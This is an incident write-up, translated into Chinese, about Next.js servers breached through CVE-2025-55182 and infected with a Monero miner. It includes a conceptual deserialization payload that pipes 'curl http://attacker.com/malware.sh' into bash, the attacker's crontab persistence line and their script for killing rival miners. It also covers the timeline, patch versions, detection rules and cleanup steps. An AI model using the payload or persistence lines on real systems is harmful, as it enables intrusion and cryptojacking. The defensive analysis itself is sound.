🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付

やったら動作比較慢,當我注意到 CPU 使用率已經達到 100% 時,才意識到問題的嚴重性。
這果然是...,但 PM2 的日誌讓我稍微鬆了一口氣。

之後,我將後續的處理交給了 Claude Code。

以下是備忘錄:

前言

2025 年 12 月,運行的多個 Next.js 應用遭到網路攻擊,植入了加密貨幣礦工。這是在 CVE-2025-55182 公開後的第 2 天發生的。

備註:本文是基於事件調查報告,由 Claude Code 撰寫。

TL;DR

  • 在 CVE-2025-55182 公開後的 2 天遭到攻擊
  • 通過 Next.js 15.x / 16.x 的 Server Actions 漏洞實現了 RCE(遠端程式碼執行)
  • 植入了加密貨幣礦工(Monero)及多個後門
  • 伺服器內部的認證資訊可能已洩漏

時間線

12/01 00:10  偵察攻擊開始(.git/config, .env 掃描)
12/01 04:14  .env 文件列舉攻擊(2,210 請求/2 秒)
12/03       CVE-2025-55182 公開
12/03-05    利用 CVE-2025-55182 的攻擊成功(推測)
12/05 15:17 惡意程式 #1 下載
12/05 19:39 惡意程式 #2 下載
12/10 09:37 系統重啟後,後門自動啟動
12/10 10:22 Monero 礦工啟動(CPU 使用率 281%)
12/10 11:27 被發現

CVE-2025-55182 說明

這是一個存在於 Next.js 的 Server Actions 中的反序列化漏洞。

受影響版本

版本 修正版
15.3.0 - 15.3.5 15.3.6
15.4.0 - 15.4.7 15.4.8
15.5.0 - 15.5.6 15.5.7
16.0.0 - 16.0.6 16.0.7

漏洞原理

在 Server Actions 中接收的表單數據解析過程中,對 React 元素的驗證不夠充分。

// 攻擊有效負載的概念
const maliciousPayload = {
  "$$typeof": "Symbol(react.element)",
  "type": {
    "$$typeof": "Symbol(react.module.reference)",
    "name": "child_process",
    "method": "exec"
  },
  "props": {
    "cmd": "curl http://attacker.com/malware.sh | bash"
  }
};

這樣可以讓任意的 Shell 命令得以執行。

攻擊流程

階段 1:偵察(12/1)

偵察行動從 CVE 公開的前 2 天就已經開始了。

GET /.git/config      → 收集 Git 存儲庫資訊
GET /.env             → 探索環境變數文件
GET /actuator/env     → 探索 Spring Boot 設定

在 .env 文件的列舉攻擊中,2 秒內掃描了 2,210 種路徑。

/.env
/.env.local
/.env.production
/public/.env
/app/.env
/api/.env
...

由於 Next.js 不會將 .env 作為靜態文件公開,因此這次偵察實際上是失敗的。

階段 2:入侵(12/3-5)

利用 CVE-2025-55182 達成了 RCE。PM2 的錯誤日誌中留下了以下痕跡。

⨯ Error: Unexpected end of form
   at ignore-listed frames { digest: '2025998549' }

這個錯誤是在執行 CVE-2025-55182 攻擊時發生的。

階段 3:惡意程式展開

下載並執行了以下惡意程式。

文件 大小 目的
/tmp/nginx3 10.4MB 後門(偽裝成 nginx)
/tmp/https 34.2MB 礦工或機器人
~/.config/.system-monitor/.sys-mon 14MB 持久化後門
/tmp/fghgf 2.8MB Monero 礦工
watchdog 8.6MB XMRig 礦工

階段 4:持久化

設定了 crontab 的 @reboot 以自動啟動。

@reboot nohup /home/user/.config/.system-monitor/.sys-mon > /dev/null 2>&1 &

後門被複製到多個位置。

~/.cache/dconf/.networkd-dispat
~/.local/share/systemd/.dbus-daemon
~/.local/share/gvfs-metadata/.accounts-daemon

這些都偽裝成正規的系統過程名稱。

階段 5:競爭排除

也配置了刪除其他攻擊者惡意程式的腳本。

#!/bin/bash
while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}
        if strings "/proc/$pid/exe" 2>/dev/null | grep -Eq 'xmrig|rondo|UPX 5|futureoftaste'; then
            kill -9 "$pid"
        fi
    done
    sleep 45
done

這個機制每 45 秒檢測並終止其他礦工,獨佔 CPU 資源。

發現的經過

系統重啟後,因為風扇聲音很大,所以查看了 htop

  PID USER      PRI  NI  VIRT   RES   SHR S CPU%  MEM%   TIME+  Command
17893 keppy      20   0  2.80G  268M     0 S 281.3  3.3  1h20:00 /tmp/fghgf

CPU 使用率 281% 的過程 /tmp/fghgf 是 Monero 礦工。

受害狀況

惡意程式

  • 總共 12 個文件,約 104.6MB
  • 已全部刪除

認證資訊

由於透過 RCE 侵入了伺服器內部,因此伺服器上(如 Supabase 鍵等)的認證資訊可能已被讀取。所有認證資訊均已進行輪換。

作為有效對策的措施

1. 漏洞資訊的即日對應

因為在 CVE 公開後放置了 2 天而遭到攻擊。

npm install [email protected]  # 本應在 CVE 公開當天執行

2. 引入 WAF

若有阻擋 CVE-2025-55182 攻擊模式的 WAF 規則,可能會避免此次攻擊。

3. 請求限制

能夠檢測並阻止 2 秒內 2,210 次請求這種異常訪問。

limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;

4. 日誌監控的自動化

PM2 的錯誤日誌中留下了攻擊的痕跡。如果有自動監控,可能能夠及時發現。

# Prometheus 警報示例
- alert: CVEExploitAttempt
  expr: rate(nextjs_errors{message=~".*Unexpected end of form.*"}[1m]) > 0
  labels:
    severity: critical

攻擊者的收益(參考)

Monero 礦工的預估收益:

  • 哈希率:約 2,810 H/s
  • 日收益:$0.00073
  • 月收益:$0.022

一台無法盈利,但通過感染大量伺服器進行變現的商業模式。

應對時的檢查清單

作為參考,如遭遇類似的損害:

首先執行

  • 將可疑進程 kill -9
  • 刪除 /tmp 路徑下的可疑文件
  • 使用 crontab -l 確認並刪除持久化
  • 刪除 ~/.config~/.cache~/.local 路徑下的可疑文件
  • 停止 PM2 等所有進程

然後

  • 進行所有認證資訊的輪換
  • 將框架更新為最新版本
  • 檢查 SSH 金鑰(是否有可疑的公鑰)
  • 檢查數據庫的非正常訪問日誌
  • 引入 WAF
  • 設定請求限制
  • 引入 Fail2Ban
  • 自動化日誌監控

總結

從 CVE 公開到遭受攻擊只用了 2 天。建議在確認漏洞資訊後盡早進行應對。

參考鏈接


免責聲明:本文基於實際事件,但部分資訊已被更改。
撰寫Claude Code


原文出處:https://qiita.com/KeppyNaushika/items/53936b0ef3f87104e398


精選技術文章翻譯,幫助開發者持續吸收新知。

共有 0 則留言


精選技術文章翻譯,幫助開發者持續吸收新知。
🏆 本月排行榜
🥇
站長阿川
📝16   💬10   ❤️5
421
🥈
我愛JS
📝2   💬8   ❤️4
94
評分標準:發文×10 + 留言×3 + 獲讚×5 + 點讚×1 + 瀏覽數÷10
本數據每小時更新一次
🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付